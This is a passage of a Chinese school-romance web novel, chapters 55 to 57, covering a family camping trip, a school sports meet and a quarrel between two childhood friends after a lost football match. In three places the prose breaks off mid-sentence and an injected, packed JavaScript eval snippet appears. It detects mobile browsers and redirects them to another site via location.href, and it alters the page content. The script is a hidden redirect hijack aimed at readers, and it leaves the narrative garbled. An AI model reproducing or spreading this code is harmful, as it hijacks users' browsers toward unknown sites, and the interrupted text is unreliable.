“你心情好像很好嘛。”徐澄月眉微挑,觉得奇怪,这还是头一回被她骂后,他没有火力十足地反击和她争个你死我活。 “这一分那一分,明天我就上高分。” 难得从江少爷嘴里听到这话,徐澄月不大相信地嗤笑一声,让他看清现实,“那你要像捡纸壳子一样捡。” 江韫北还乐着,把她这话当鼓励。 到家,徐爸徐妈还在聊天。徐妈值了一个月班,今晚才得空,还在国庆假期,也不怕晚,她打算和女儿谈谈心,从学习问到生活,一样不落,得到一切都顺利的回复,欣慰地点头。 徐爸趁机邀功:“都说了有我坐镇,不用担心。” 徐澄月毫不客气拆老父亲的台:“什么啊,明明是我独立,生活技能满分。” 徐妈一碗水端平,两个都夸,承诺拿奖金犒劳他们最近的优秀表现。 家庭谈天到最后,徐澄月昏昏欲睡,没仔细留意徐妈那句“俞麒俞麟最近怎么样”,打着哈欠随口说“都挺好”,便忍不住,准备洗漱睡觉去了。 一身清爽往床上躺,还没找好舒服睡姿,只觉身下一片凉,她蒙住脑袋,哀嚎一声。再次收拾妥当回来,她调低风扇力度,在小腹上捂个小枕头,整个人蜷在薄被里。 将将睡过去前,她迷迷糊糊想:幸好没喝那碗冰绿豆沙。 * 假期最后,徐爸找了个温泉露营地,一天一夜自助游,说给几个高中生放松放松,正好几家人也可以聚聚。营地在邻市,两小时路程,一早他接来阿爷阿嬷,一行人开车前往。 营地活动丰富,休闲玩乐,餐饮吃食,一应俱全,还有一片菜地果园,供游客采摘,自行做饭。 徐妈是做菜好手,一行人嚷着说好久没吃她的菜,便决定晚饭自己做。大人找地方搭帐篷天幕和炒菜炉子,小孩和老人去摘菜摘果。 阿爷阿嬷被几人拥着围着,一人一句逗得合不拢嘴。但乐归乐,阿嬷看着眼前熟悉的一切,还是忍不住嘀咕:“这菜园子,这果树,咱哪不都有吗,直接去你地里摘几颗,炒了就能吃,干嘛费时间费钱来这。” 阿爷手脚麻利地摘了半框菜,指着不远处的设施叫她看,“咱那可没有那么大的鱼塘,也没温泉,孩子们带你玩玩就是了,别瞎多话,再说下次不带你了。” 阿嬷摘了棵野草扔他,嘴硬道:“不带就不带,谁稀罕。” “嘿你这老婆子,怎么还动手。” 两个老小孩手没停,嘴也不停,叽叽喳喳从前头吵到后头。江韫北举着相机跟着他们,一路下来拍了好些照片,拿给伙伴们看,镜头下两人小猫似傲娇又可爱的模样,逗得他们捧腹大笑。 摘了好几样菜回去,大人们已经把东西搭好,正拿出茶盘和茶,摆上开始泡茶。也不干坐着喝,喝完一泡就去给妈妈们打下手。 阿爷盯上那个鱼塘好久,菜放下就使唤江爸去问工作人员要鱼钩鱼饵,放下豪言,晚上加餐。他递一根给阿嬷,说教她,阿嬷接过,别别扭扭地跟着他。 各有事干,小孩们插不上手,便去帐篷外摆好的躺椅上躺着晒日光浴。 女孩子怕晒黑,一个劲往身上喷防晒喷雾,末了将防晒衣一裹,遮挡严实。男孩子们早大大咧咧躺好,见他们一通操作,不解,这还晒什么日光浴。 徐澄月帽子一戴,下巴微扬,“晒的是氛围。” 六人就这样躺在天幕下,悠闲聊着天,耳边是前面大人锅碗瓢盆、茶杯的碰撞声,再往前,是阿爷阿嬷不停歇的斗嘴,鼻间呼吸的空气渐渐有了饭菜香,油焖虾、清蒸大闸蟹、芋头烧鸡、炸排骨……徐澄月闭着眼睛渐渐数出声。 “徐澄月,擦好你的口水。”江韫北贱贱地招惹她。 徐澄月淡定反击:“不擦,等下弄到你身上。” “你真恶心。” 这边两人拌嘴,另一边方之敛关心起俞麒的国赛。从校队到市赛到省赛到联赛,大大小小参加了十几场,就差这最后临门一脚。 俞麒还没回答他具体时间,被徐澄月抢先回答,末了还斥他们,这么重要的时间怎么能忘记。 俞麒歪头看她被太阳晒得微红的脸,弯唇笑起来,顺着附和她的玩笑,说对。 他难得的不正经,叫几人诧异,视线顿时齐齐投向他,他转过脑袋,将帽檐往下压了压。 江韫北故意调侃:“刚说话的是俞麟吧。” 护哥的俞麟立马反击:“你懂什么,这叫反差,谁跟你似的,做什么都一个样!” 两人又掐起来,又要以比赛来解决。还是短跑,但经过魔鬼训练和大大小小十几场比赛捧回来十几座奖杯的俞麟,怎么可能输给江韫北,当场把人虐得体无完肤。 江韫北回来扒着徐澄月的椅子委委屈屈地诉苦,徐澄月听烦了,大声和俞麟密谋,下次放水让他赢一次。 江韫北哀号声更大。 笑闹一阵,晚饭也好了。除了徐妈主勺的菜,营地送来几样小菜和饭后水果,还有炉上阿爷钓的正在清蒸的鱼,大大小小摆了两桌,丰盛得像过年。 大人们不满这个比喻,说平时也没饿着你们啊。 江韫北十分理所当然:“那也不是每顿都能吃到徐姨的菜啊。” 其他几人赞同点头,只余徐澄月,骄傲得挺直小腰。 一顿风卷残云,几人都挺着吃撑的肚子四处散步。大人们还没散场,叮嘱他们不要走太远,等会要去泡温泉。 他们就近走了两圈就回来,各自回房换衣服。阿爷阿嬷不去,便留下继续喝茶。 换好衣服,分成男女两批,由工作人员领着去不同池子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583675|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 池子有公共有私人,她们要了个私人的。 温水泡开身体,筋骨也舒展开来。妈妈们聊着工作生活,笑声阵阵,徐澄月和岳清卓在边上互相给彼此搓背,百无聊赖听她们聊天。 搓得困意上头时,徐澄月耳尖,察觉到妈妈们的笑声停止,语气也变得严肃。 徐妈先开口:“决定好了?俞澍同意?” 俞妈无所谓地哼了哼,“都谈开了,没什么好不同意。” 江妈话里有挽回意味:“一定要这样吗?你们也没出什么问题,过日子到头都一个样。” 俞妈:“那可不是一个样,你看看江哥徐哥他们。” 方妈给江妈使眼色,换了话道:“那俞麒俞麟呢?” 江菀:“他们……” 俞妈便沉默了。 徐澄月听到这两个名字,一激灵,瞌睡都醒了,拨开水走过去,好奇问:“俞麒俞麟怎么了?你们在说什么呀?” 岳清卓跟在她身边附和问。 徐妈掬起一捧水,笑着扬到她们脸上,“小孩子不要管大人的事。” 徐澄月抹掉水,不服气,“我们都快成年了。” 岳清卓:“就是就是。” 徐妈:“你们就是60岁了,在我们面前也是小孩儿。” 徐澄月:“那会都是小老太了,还小孩什么小孩。” 几位妈妈被逗笑,顺势把话岔过去,聊起以后退休了要做什么,徐澄月兴致勃勃地加入,全然忘了自己的问题还未被解答。 泡得差不多,便退了池子去更衣室稍微冲洗。 更衣室设计简单,每一间由帘子隔开。徐澄月使坏,冲到一半拉开帘子,将岳清卓吓一跳。岳清卓作势敲她,她躲开,说要一起洗,她没意见,放下挡在胸前的手。这事她们小时候经常干,现在也不生分。 徐澄月自上而下打量她一番,啧啧称道:“清卓,你身材真好。” 常年练拳运动的身材,匀称有致,线条优美,该有肌肉的地方都有恰到好处的肌肉,有力量却不失柔美,不像男生那种健壮粗犷。 岳清卓大方接下她的赞美,回赞一句你也很好。不是她那种有劲有肌肉,但也是十分健康的身材,有些地方多长了点肉,却不影响,手感尤其好,让人爱不释手。 “像一颗大石头和它旁边一朵迎风摇曳的向日葵。”岳清卓这么形容她们的身形。 徐澄月大笑,“说得对。” 两人磨蹭了一会,妈妈们已经回房间了。 拐角碰到刚从另一边池子出来的男生,也都顶着一张大红脸。 “吃不吃……”正欲开口约宵夜的江韫北,瞥见徐澄月的模样,话噎了噎。 她双颊绯红,像下午那棵树上泛红的苹果,他尝过味道,有些涩,涩后回甜。大概是热,她披在外面的防晒衣,拉链只拉到胸下,露出里面的吊带背心和一片粉红胸口。没擦干净的水珠攀在锁骨下,或许是攀附物过于光滑,垂垂欲坠。 江韫北看愣了几秒,幸亏一旁俞麟拉扯问他吃什么,才让他及时回过神。他慌慌张张移开眼,感觉脸颊的热意越来越汹涌。 “吃……吃什么都行。” 他们讨论起来,他的心思却被那颗水珠勾引,忍不住一再侧眸。终于,水珠不堪受力,坠入隐秘处。他恍惚听到什么响声,砰砰撞个不停。 耳边这时突然乍开一阵巨响,原来是营地放起了烟花。 他恍若初醒,将手上的毛巾摊开,往徐澄月身上一围,随意找来一个借口,说起风了,别着凉。 徐澄月热得慌,要去扯,他不让,死死按住。 周围不止他一个男生啊! 这话没法说。 他捂住俞麟数食物的嘴,磕绊道:“别吃了困了回去睡觉。” 他推着三个男生,往他们的房间走,头也不回和两个女孩告别。 夜晚,躺在酒店舒适的床上,江韫北做梦了。 他梦见他又跑去苹果树下,摘下一个泛红苹果。欣喜过头,没站稳,他从树上坠入了隐秘处。 56. 第 56 章 十月中旬,学校开始筹备秋季运动会。去年的运动会因恶劣天气没有举办,后来又赶上学期末,便搁置了。两年合一,办得比较隆重,除了校内运动项目,还联合朝城几所高中举办了竞技比赛,篮球、足球两项。每所高中承办不同项目,朝中选中足球。 周一升国旗宣布了消息,任务下达,各班体委开始抓人。 江韫北发挥人格魅力,在班里走了一圈,表格差不多就填满了。 女子800米跑、1500米还有400米接力赛留给自家两位女孩,男子3000米和跳远跑留给自己。 “3000米?”徐澄月和岳清卓对给自己的安排没什么意见,对他的3000米反应强烈。 徐澄月说:“第二天不是还有足球赛吗,你跑3000米,不要命了?” 江韫北无所谓地耸耸肩,“反正不是在一天,我们一场比赛下来不止跑3000,小意思。再说了,班里也就我能跑3000把奖拎回来,关乎集体荣誉,我还能不上?” 话里自信成分很高,但也是事实。 交代完,江韫北还要去交表,临走前嘱咐:“对了,岳清卓我不担心,徐澄月,你是不是中考结束后就没跑了?这几天好好练练,别上去还没跑腿就软了。” 岳清卓闻言,视线从试卷分一半出来,斜睨他,“什么叫我你就不担心了?江韫北,我是你姐!” 江韫北给她捏肩献殷勤,“我这不是相信你吗,这么多年跆拳道白练的?别说1500米,这是没设跆拳道,不然你一路打到冠军去。” 岳清卓听得飘飘然,被他忽悠着哄徐澄月和他们一块运动。 徐澄月十分清醒屏蔽他们的吹捧,“最近不行,我要赶工。” 手工艺作品比赛截止日期在十一月底,虽然还有时间,但刚考完试比较空,人也放松,想法一个接一个蹦,她不想错过。 江韫北知道她记挂什么,和她打商量,每天抽半个小时练练,不然当天指定吃不消。 软磨硬泡的,徐澄月没办法,挥挥手答应了。 之后每天下午放学到晚自习时间,徐澄月都被江韫北揪去操场练习。 江韫北向俞麟偷师,学来简化版的训练方法,耐力、呼吸、速度,安排有序。 练完早过食堂饭点,残羹剩饭的,第一天去吃,徐澄月也不抱怨,只吃一口看他一眼,这比她直接破口大骂还可怕,看得他自己心生愧疚。第二天就让学校隔壁的小饭馆炒菜,从严管下的漏网之鱼——操场旁破口的铁围栏那送进来,三菜一汤,捡她爱吃的买,每天都给人喂得饱饱的。 “哟,江少爷又给人开小灶呢。”杜可颐搂着岳清卓,过来给他们送水,挨到徐澄月身边,戳戳她鼓鼓囊囊的腮帮子,“最近给江少爷养得挺好嘛。” 徐澄月艰难吞下嘴里的食物,猛灌几口水,“什么啊,他明明在贿赂我!要不是拖着我练,我能赶不上吃饭?” “哦?”杜可颐戏谑觑她,又去瞄在狂扒饭的江韫北,“江少爷怎么不拉其他人来练,班上报名的可不止月亮。” 话音落下,江韫北一呛,捏着喉咙咳嗽,缓过来后,凉凉朝她递去一眼,“想吃明天就来,加两个菜的事。” 徐澄月自然而然接上,“对啊,把要练的同学都喊过来,散财童子在这。” 江韫北脸一黑。 杜可颐乐不可支。 “欸清卓可颐,这家店的炸蘑菇特别香,你们尝尝。”徐澄月把饭盒移到她们面前。 “徐澄月!”江韫北暴跳如雷。 徐澄月不明所以:“干嘛?” 江韫北恶狠狠的,“吃你的饭。”知道她喜欢,他都没怎么夹,现在倒好,一个劲喊别人吃,愣是没发现他也没吃多少。 瞪她一眼解气,转头却落入杜可颐含笑的眼神,他若无其事地,低头继续扒饭。 运动会开幕式定在10月22日,恰巧是俞麒赴上海参加物理国赛的时间。 学校原本有老师跟着去,但俞澍尤为重视俞麒这场考试,特地从国外飞回,于是此行变成他陪同。 前一天晚上,几人齐聚俞家,陪他赛前放松顺带加油鼓劲,玩到十点才散场。 送走他们,俞麒开始收拾房间,没多久听到楼道里“砰砰”的脚步声,他认出来,笑着走到门口,下一秒,门被敲响,他打开,徐澄月双颊潮红,刘海四散,站在门外。 他轻声问:“落东西了?” 徐澄月摇头,“忘记给你这个了。” 上周回家让阿爷帮忙求的福签,朝城的习俗,每逢外出或有重要的事要做,习惯去庙里求个福签,心愿托给神明,寻求庇佑。 俞麒捏着红色的符纸,眸中柔光四溢,“怎么开始信这个了?” 徐澄月把阿爷求签时的语句复述,“不是不相信你啊,你肯定行,这个是保佑你一切顺利,平安去,平安回来。”说完给他比了一通加油的姿势。 俞麒看着她眉眼弯弯,双眸明亮,有种比他自己还要相信他的自信,心下一片柔软,“有了你这道福气加持,我一定顺利。你也是,运动会注意安全,尽力就好,不要受伤。”他还是忍不住,伸手梳顺那几根飘扬的刘海。 送完徐澄月,回家收拾好行李,时间已不早。躺下休息时,收到俞麟的短信。他近期也有比赛,最近时常加练到很晚,这个点估计刚结束。 短信内容也是祝他行程顺利,洋洋洒洒一大篇,标点词句有误,他看了几遍才梳理好,一阵失笑,耐心回复他。 俞麟:哥,我桌上有给你的礼物,快去拿。 礼物?他上次回来是三周前,那时就准备好了?可他去给他打扫房间的时候并没有看到。 他回复他:好,我现在去看,你早点睡。 他掀开被子,打开房门,却听到走廊尽头的主卧,传来压低声音的争吵。 大概是不解风情的父亲又惹到逻辑思维缜密的母亲,寻常事罢了,他没有注意,只是在拧开俞麟房门时,听到他们两人的名字,他动作一顿,双腿不由自主靠近那扇门。 并非以前那种因琐事,一个据理力争一个无奈后退,最后双方和解的争吵,这次似乎有主题有观点有例证,像一篇800字的议论文。但他还没听到题干是什么。 他们争吵得太过忘我,声音逐渐变大,以至于忘记了,两面墙抵挡不住这个音量。 十分钟后,他听清楚整道题目和他们各自的答案,愣怔几十秒,他苦笑一声,转头离开。经过俞麟的房间,脚步停住,房门先前被打开出一条缝,原本他是打算进去看弟弟给他准备的礼物。 手在门把上停留几秒,最后面色漠然的,他将那条缝阖上,头也不回走向自己房间。 第二天艳阳高照。天上的飞机安稳起飞,地上的运动会顺利开幕。 各班方阵走完后,各项比赛开始。 高二径赛女子组百米和200米跑完,轮到800米。 徐澄月被班里一群人围着,江韫北在帮她热身,杜可颐和岳清卓在给她讲冷笑话放松,梁嘉和上蹿下跳代表班级慰问,她被他们如临大敌的严肃整懵,反过来叫他们放轻松:“区区800米,我能拿下的,这阵体委的训练可不是白训的。” 800米平时也跑,但大多时候插科打诨,四分钟成绩算顶好了,以徐澄月不服输的性子,参加了势必会尽力冲刺,他们只是怕她太较真,挑战身体极限。 江韫北不放心地叮嘱:“跑累了就直接走。” “那怎么行!”徐澄月斜眼睨他,“多没面子啊。” 徐澄月记着他们叮嘱,嘴上说放心,可枪声一响,她像拉到极致的弹簧被陡然松开,猛地超前冲。她知道自己的优势在哪,体能最足的时候先快跑一圈拉开距离,中段中速,最后冲刺。这套方法运动会前她练了很多次,不会有错。 相信自己,跑道却出了岔子。 最后一次过弯道时,脚下打滑,身体不受控制要往地上栽,但双腿似乎有意识地左右落了几步,缓住了冲力,所幸只是双手着地,膝盖微蹭到,意料之中的疼痛没有到来,她挺起身继续跑,第一个冲过终点。 还未来得及欢呼,等在终点的同学一窝蜂涌上来,七嘴八舌问她伤到哪了。 “没事啊!”身体还处于亢奋状态,她还没感觉到疼痛。 “还说没事!”岳清卓和杜可颐一人捧起她一只手掌,气急败坏,“整个掌心都破皮了。” “徐澄月!”一片关心声中闯入一道压抑火气咬牙切齿的低吼。 徐澄月仰头,撞入江韫北幽深眸中,这眼神她只见过一次,当年初见一脚把他踢趴时,这回比当年严重,像深海,平静后掩着滔天巨浪。他惯来嘻嘻哈哈,容易炸毛,爱发小脾气,但也是雷声大雨点小,真正气极的模样,她从没见过。 她不禁有些怂,乐呵呵的,半是安抚半事服软:“我说体委,你这是做什么,同学摔倒了你还不紧急处理?” 周围站着的几人也都察觉有江韫北暗涌的情绪,纷纷出来打圆场,“别杵着了,走走走,先去医务室。” 江韫北让梁嘉和留下安排其他同学的比赛,随后一言不发拽着她胳膊往医务室走,岳清卓和杜可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你什么你!”徐澄月不想再搭理她,又觉得被他骂一通走掉很没面子,大跨两步逼近他,用清卓教的招式,先扫掉他两腿,等他失去平衡弯腰,手肘杵向他小腹,利落来了两下,潇洒离开。 “让你骂我!” 回到操场,梁嘉和还在主持其他项目,徐澄月暂时没有其他参赛项目,随便在树下瘫坐。 中途梁嘉和跑过来问其他人呢。 “清卓和可颐去买水了,江韫北,哼!” “他怎么了?” 想起走时他抱腹蜷在地上的可怜模样,徐澄月十分解气,“疗伤呢,你帮他看着点。” 梁嘉和一头雾水,没来得及追问,又被人喊走。 杜可颐正好拎着一袋水回来,拿出几瓶,剩下的让梁嘉和分给同学,拧开一瓶递给伤患,“喏,喝水。” “清卓呢?” “方之敛有比赛,她去给人加油了。” “哦,那我也去吧。” 杜可颐拉她坐下,“百米跑,你过去都跑完了,安心坐着。” “也是。” 杜可颐陪她坐着,眼睛却左右张望,瞧不见人,又想起先前他暴跳如雷的模样,忍俊不禁,“澄澄,江韫北,好像对你很好啊。” 徐澄月“嗤”一声,十分钟前还在骂她呢,不过综合平时,这话也没错,“我们是发小,一条巷里长大,他敢不对我好?阿爷和江叔揍他。” “只是发小吗?我怎么觉得……”杜可颐欲言又止,“欸,江韫北长得不赖,运动也好,成绩马马虎虎,人嘛,挺真诚的,又大方,虽然有时候贱兮兮的,但正负相抵了,你会不会对他有一丝……” “一丝什么?”徐澄月没懂,却见她要笑不笑的样子,反应过来,猛挥手撇清关系,“别瞎说,我们是发小,感情难免比普通同学好。” “别挥疼了。”杜可颐按住她的手,“这样啊,不过江韫北还挺招人喜欢的,我有几个别班同学喊我帮忙递东西呢。” 徐澄月内心坦荡,“递呗,不过可别让我转交啊,上次帮人送情书,他把我骂了一顿赶出来了,他这人爱炸毛,还很难哄,我可不再触他眉头。” 杜可颐心想,好人做到底吧,她试探地问:“你……不介意?” “这有什么,宁拆十座庙,不破一桩婚哎!他要是早恋了,肯定会想办法贿赂我帮他保密,到时我就可以作威作福了!” 杜可颐无奈摇头,突然瞥见侧方一道身影,暗叫不好。 57. 第 57 章 岳清卓发觉,这两天上学路有些安静。少了俞麒,但俞麒不是聒噪的主要贡献者。她扭头问车后座的徐澄月,“又和我弟吵架了?” 徐澄月纠正她的措辞:“准确来说是冷战,哦,还是他先开战的。” 运动会第一天,他冷脸骂她,她收拾他一顿,进入冷战第一阶段,针锋相对。第二天400米接力赛,他不让她上,她偏唱反调,带伤上阵,他在跑道边气得像只胀气的□□。但她也没拖后腿,团队拿下第二名,他依旧臭脸。 后面他3000米长跑,她也赌气没去看,坐在树下,面朝跑道,隔着围成墙的人群,在窄窄的缝隙中,恰巧瞟到那双熟悉的运动鞋第一个穿过终点。同学们围着他道贺,她故作姿态,跟着那些欢呼附和两句,他肯定不满这样潦草的庆祝,在他恶狠狠的眼神里,徐澄月扳回一城,得意得很。 这之后他没再主动和她说过话,于是冷战进入拉锯。 岳清卓对他们小吵大吵早已见怪不怪,“那这次打算怎么哄那个娇气包?” “哄?”徐澄月冷嘲,“想得美,又不是我先错,没再给他一顿算好了。”都是给惯的,小孩子似的动不动就闹脾气,她决定治治他这个臭毛病。 岳清卓煞有其事点头,私下却和方之敛说,这次事大发了,江韫北肯定要割地赔款才能平息这一战。 这看热闹不嫌事大的心态,方之敛哭笑不得。 今天校内的比赛项目基本结束,开始几所高中的足球联赛。 一到教室,江韫北放下书包直奔校队,走时的严肃神态叫徐澄月不自觉生出紧张。 “你不知道啊?”梁嘉和分享八卦惯常以这五个字开头,“他们第一场抽到隔壁七中,就是上次他和方之敛受伤那场的对手。新仇旧恨,这回大概要一块清算了。” 杜可颐杵他腰侧,“什么新仇旧恨,演武打片呢。”转身又对徐澄月说:“放心,体委不是那么冲动的人。” 徐澄月耸肩,“我有什么好不放心的。” “那你去不去看?” 学校还算有人情味,停了两节课让他们观战。 徐澄月低头,语气傲娇,“不去,我的木雕还没做完呢。” 杜可颐搬出集体荣誉,自家地盘不能让别人看笑话,不看江韫北也要给方之敛加油等等理由,终于把人劝动。她口干舌燥喝掉半瓶水,心想媒人果然不是好做的,江韫北到时不给她封个大红包说不过去。 出发去足球场路上,徐澄月再三强调,她是为方之敛去,才不是为哪个臭脸娇气包。 岳清卓一干人听得耳朵起茧子,敷衍地点头。 他们去得晚,操场乌泱泱,像一片没有星星的夜空。 班里同学占了座,徐澄月多要了一个,坐下就给何意霖发信息。没多久,她穿过人群跑来。 “手还疼不疼哦?”何意霖捧着她手反复看,没再缠纱布了,贴着好几个创可贴,边缘还有些红肿。 徐澄月有心逗她,“疼,你给吹吹。” 何意霖打她一下,还是给吹了。 几句话的功夫,球员进场,何意霖立刻正襟危坐,观察周围没有老师,拿出相机。 “咦,又和你表姐借啦?” “嗯,”何意霖泰然自若地录制,“都是青春的片段呢。” “那你录,我帮你把风。” 比赛开始,场上一片沸腾。 地理优势,在座大多是朝中的学生,呐喊的几乎是朝中和朝中队员的名字,压倒性的气势,莫名让人产生胜之不武的错觉。 但无论现场怎么喊,徐澄月都谨记一件事,她是为方之敛而来,不能喊错名字。可好几次看上头,差点脱口而出江韫北,便不再喊了,紧紧抿着唇。 何意霖见她这副别扭样,就知道两人的战争还未结束。饶有兴致盯了会,又去看场上那道驰骋身姿,怎么也无法将其与两天前那个失魂落魄的江韫北联系上。 那天她得知徐澄月受伤的消息,原本是去看她,却见到一个落寞人,听到一段或许旁人津津乐道而他必定失望的话。艳阳下,她看着他拖起他失落的影子离开,双脚拽着他走,走到沙地的双杠边,手往上一挂,腿弯勾住,腰一弯,柔韧地倒下来。 他会伤心得流泪吗?像《流星花园》里花泽类说的那样,用倒立将眼泪憋回去。可下一瞬她突然坏心地想,应该不会吧,毕竟他是个那么讨厌眼泪的钢铁汉子,平时她们看剧看哭了,他都要嘲笑一番。 她没有上前去安慰或陪伴,而是继续她的行进目的,去找徐澄月。 “关心则乱呀笨蛋!”了解事情始末后,她尝试帮一帮她两个朋友。 “可我不喜欢这样的关心。” 她格外认真的语气和神情,让她突然清楚,她是在明晃晃的爱里长大的女孩,就像宝藏库里满满当当的小龙,手往后一伸,就能拿出令人羡慕的宝石。她不需要默默付出和拐弯抹角,只需要把宝石拿到她面前,告诉她,这是给你的,她就会高兴地变身飞天小龙。哪怕不是宝石,是戒尺,她也愿意接受。悄咪咪把宝石藏在她身后,等到哪天累成小山,她也不会发现。她只看重,她能看见的。 她对身边人亦是如此,那种坦诚,直接,热烈,主动,让人着迷。 她没有什么理由不站在她那边。 “你说得对。”她理解了,但不知道那只沮丧小狗能不能想通。 走神的一会,场上比分开始出现倾斜。上半场结束,朝中落后一分。 “啊,怎么输了半场?”她有些遗憾地说,没得到回应,余光里,身旁的人专注赛场。 团体比赛最能振奋人心,徐澄月看着看着,不由得身心投入。她看到江韫北因失误没有挡住对方前锋,对方射门时,他懊恼地狠狠捋开汗湿的头发——他的头发留长不少,力道应该不小,扯完就皱紧眉头。中场休息,他垂头丧气坐在边上,队员围在他旁边,看神情是在安慰。 怎么安慰呢?他那么看重团队比赛的人,心气又高,怎么能容许自己犯那么低级的错,输给不对付的对手。此刻他心里,应该纠成一团乱糟糟的毛线了吧。 徐澄月脚动了动,哨声吹向,她收回去。 愈挫愈勇,越急越容易乱分寸。那场比赛最后,他们没有扳回比分。 七中校队激动地拥抱欢呼,很正常的庆祝方式,却让先前他们的忘我,有些无地自容。 输赢是常事,主场也不一定起作用,友谊第一,比赛第二,徐澄月暗暗想好一套安慰说辞,但在下一秒破功,她恨不得直接从观众席直线穿下去,却被岳清卓和何意霖拦住腰。 “他什么意思啊!他凭什么做那样的手势!” 对方上半场夺分的前锋,在退场的时候,朝江韫北比了个极不礼貌甚至带有侮辱性的手势。 “澄澄!别冲动!”她蛮起来像头见了红布的小牛,力大无穷,“这是我们学校,别让人看笑话。” “江韫北都被他弄成笑话了!” 两人拼命拦着,一个拖一个拽,费了十足十的劲,把人弄出足球场。 另一边,江韫北同样拦下欲为他出气的队员。他认真为失误同他们道歉,努力做出轻松姿态,宽慰他们还有下一场,过了也能进决赛。而后遣散他们回去休息,若无其事和方之敛回教室,面对他的关心,也嘻嘻哈哈带过,说没事。 但怎么会没事?因为分神没能断掉对方的球,导致全队输了,这种以前从没不值得多费口舌的错误,居然有一天出在他这个队长身上。他前所未有的挫败。 分神的那瞬他在想什么?哦,他在想徐澄月有没有来看,她嗓门大,辨声就能知道她在不在,在哪个方向。可上半场快踢完,他都没听见,于是忍不住想,是不是真的生他气,连球赛都不愿意看了。 其实早该发现的。前一天他们热身赛,他也在赛中分神去想他们这次的争吵,只不过运气好,没有发生失误。 他坐在通往教学楼顶的楼梯上,用力踩了踩石阶,回声空旷,他突然无力地笑,叹气想,最近真是糟糕透了,球没踢好,朋友也没顾好,两头忙,两头失。 又坐了会,他走下六楼,去小卖部买水。冰箱里饮料五花八门,就是没有脉动,老板娘说,忘记进货,最后六瓶全叫人买了。他随便拿了瓶矿泉水,结账回去。 教室里同学寥寥,见了他,笑着安慰几句,给他打气,他也笑着回应。 运动会期间,学校暂停了晚自习,同学都陆续回家了。徐澄月、岳清卓、杜可颐几人也不在,书包倒还在。 路过她课桌,书包被粗心的主人拉出来大半,拉链豁开,藏在里头的木头,沉重得带着书包下坠。 这个邋遢姑娘。 他将书包塞进去,木头藏进更深,拉好拉链。 回到自己座位,椅子上放着用塑料袋兜着的脉动,他数了数,六瓶。 他沉默盯了会,转身问几个同学,徐澄月去哪了,他们说不知道。他拎起六瓶水去找,门口被梁嘉和撞上。 “韫北,你在啊,太好了,快去足球场,澄月和丁宁打起来了。” 多数时候,徐澄月是个容易冲动的女孩,他第一次见她就知道了。那会才11岁,为帮朋友出气就敢独自找他单挑。看到朋友受伤,敢不管不顾抡起扁担朝大人砸。见别人被冤枉,也不怕人多势众,单枪匹马就去帮人作证。 但她也是对朋友用尽十足真诚的女孩。 以前总觉得她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628355|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傻里傻气,总是爱做一些吃力不讨好的事,渐渐的,他才懂得,她不是傻,而是在用她认为对的方式,对待这个世界。像武侠剧里养在深山野林,武功高强,却天真单纯的小姑娘,一朝离山,懵懂而莽撞地在江湖中闯行,不顾四方规矩的社会,不管约定俗成的规则,艰难却闯出一条不平凡的路。 他以为他会见到莽撞后受欺负可怜兮兮的小兽,谁知小兽光鲜亮丽,完好无损。 江韫北不解地看向梁嘉和,不是打起来了吗?难道她一个双手残废人士能打赢足球队壮士? 梁嘉和尴尬地扒扒头发,“我也是听他们传的,一心急,就先跑去找你了。” 江韫北瞪他,就是有他这种听信小道消息的人,才有他现在的尴尬。 “那什么……”梁嘉和决定挽救一下,“咱吃饭去吧,我请客,学校隔壁烧烤店,任吃。” 在场几人起哄,心照不宣拥着大款离开,剩下江韫北和徐澄月。两人就这么站着,谁也不先开口。 冷战两天不长,却是他们闹过最久的别扭。江韫北不知道该怎么打破僵局,但如果再不说话,徐澄月肯定会走,他怀着这份急切开口:“梁嘉和为什么说你和丁宁打起来了?” 他主动了,徐澄月默认他先服软,也就坡下驴,“没打,我和他打,傻吗我,就是和他小小切磋了一下球技。” 其实是她故意的。被她们拖出足球场后,去小卖部冷静了一会,谁知冤家路窄,碰上丁宁。她买下六瓶脉动,故意说是慰问他们队长江韫北,果然引来他注意。三言两语交锋,徐澄月发现他经不起激,便主动提出要和他比比。当然不是踢整场,只比射门,没有守门员,只将球网范围缩小。 开始前她故意激他两句,然后拿下一个球让他方寸大乱,最后果然如她所料,他一个足球熟手以一球之差,输给她一个门外汉。她又故意冷嘲热讽,让他生气靠近她,她再顺势假装摔倒,碰到手,在场同校的同学就不乐意了,沆瀣一气,他不得不夹着尾巴逃走。 “我说我师从江韫北,他连我一个小徒弟都踢不过,赢你不过是凑巧。”虽然有些不道德,徐澄月想,但谁让他侮辱人在先,她可不会白白让自己朋友被欺负,新仇旧恨一起算。 “徐澄月,你真是……”江韫北在脑中还原一遍经过,庆幸丁宁是个傻的,不然还真难让她糊弄过去。 